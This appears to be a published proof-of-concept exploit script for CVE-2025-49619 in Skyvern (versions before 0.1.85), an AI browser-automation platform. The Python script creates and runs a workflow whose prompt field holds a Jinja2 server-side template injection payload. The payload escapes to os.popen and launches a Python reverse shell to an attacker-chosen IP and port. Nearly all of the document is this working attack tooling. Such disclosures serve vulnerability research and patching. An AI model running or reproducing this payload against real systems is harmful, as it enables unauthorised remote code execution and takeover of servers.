Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI

# Exploit Title: Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI
# Date: 2025-06-15
# Exploit Author: Cristian Branet
# Vendor Homepage: https://www.skyvern.com/
# Software Link: https://github.com/Skyvern-AI/skyvern
# Version: < 0.1.85, before commit db856cd
# Tested on: Skyvern Cloud app / Local Skyvern (Linux Ubuntu 22.04)
# CVE : CVE-2025-49619
# Article: https://cristibtz.github.io/posts/CVE-2025-49619/

'''
Skyvern's Workflow Editor allows prompt injection via Jinja2 template syntax.
An attacker with low privileges can inject a malicious payload in a block that contains Prompt section,
which gets rendered server-side, resulting in blind remote code execution via curl.
'''

import requests, argparse, pyfiglet

parser = argparse.ArgumentParser(description="This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Skyvern URL (e.g., http://example.com:8080)")
parser.add_argument("-k", "--x-api-key", required=True, help="Go to Skyvern app -> Settings -> API Key -> Reveal and copy the API key")
parser.add_argument("-i", "--ip", required=True, help="IP address to receive the reverse shell connection")
parser.add_argument("-p", "--port", required=True, help="Port for the reverse shell connection")

def create_exploit_workflow(url, ip, port, x_api_key):
    exploit_workflow = {
    "title": "Exploit",
    "description": "",
    "proxy_location": "RESIDENTIAL",
    "webhook_callback_url": "",
    "persist_browser_session": False,
    "model": None,
    "totp_verification_url": None,
    "workflow_definition": {
        "parameters": [],
        "blocks": [
            {
                "label": "block_1",
                "continue_on_failure": False,
                "block_type": "task_v2",
                "prompt": (
                    "{% for x in ().__class__.__base__.__subclasses__() %}\n"
                    "  {% if 'warning' in x.__name__ %}\n"
                    "    {{ x()._module.__builtins__['__import__']('os').popen(\n"
                    "      \"python3 -c 'import socket,os,pty;\"\n"
                    "      \"s=socket.socket();\"\n"
                    f"     \'s.connect((\\\"{ip}\\\",{port}));\'\n"
                    "      \"os.dup2(s.fileno(),0);\"\n"
                    "      \"os.dup2(s.fileno(),1);\"\n"
                    "      \"os.dup2(s.fileno(),2);\"\n"
                    "      \"pty.spawn(\\\"sh\\\")'\"\n"
                    "    ).read() }}\n"
                    "  {% endif %}\n"
                    "{% endfor %}"
                ),
                "url": "",
                "max_steps": 25,
                "totp_identifier": None,
                "totp_verification_url": None
            }
        ]
    },
    "is_saved_task": False
    }

    headers = {
        "Content-Type": "application/json",
        "X-API-Key": x_api_key
    }
    response = requests.post(f"{url}/api/v1/workflows", json=exploit_workflow, headers=headers)

    if response.status_code == 200:
        print("[+] Exploit workflow created successfully!")
    else:
        print("[-] Failed to create exploit workflow:", response.text)
        return None
    
    workflow_permanent_id = response.json().get("workflow_permanent_id")

    print(f"[+] Workflow Permanent ID: {workflow_permanent_id}")

    return workflow_permanent_id

def run_exploit_workflow(url, x_api_key, workflow_permanent_id):

    workflow_data = {
        "workflow_id": workflow_permanent_id
    }

    headers = {
        "Content-Type": "application/json",
        "X-API-Key": x_api_key
    }
    response = requests.post(f"{url}/api/v1/workflows/{workflow_permanent_id}/run", json=workflow_data, headers=headers)

    if response.status_code == 200:
        print("[+] Exploit workflow executed successfully!")
    else:
        print("[-] Failed to execute exploit workflow:", response.text)


if __name__=="__main__":

    print("\n")
    print(pyfiglet.figlet_format("CVE-2025-49619 PoC", font="small", width=100))
    print("Author: Cristian Branet")
    print("GitHub: github.com/cristibtz")
    print("Description: This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.")
    print("\n")

    args = parser.parse_args()
    url = args.url
    x_api_key = args.x_api_key
    ip = args.ip
    port = args.port

    workflow_permanent_id = create_exploit_workflow(url, ip, port, x_api_key)

    run_exploit_workflow(url, x_api_key, workflow_permanent_id)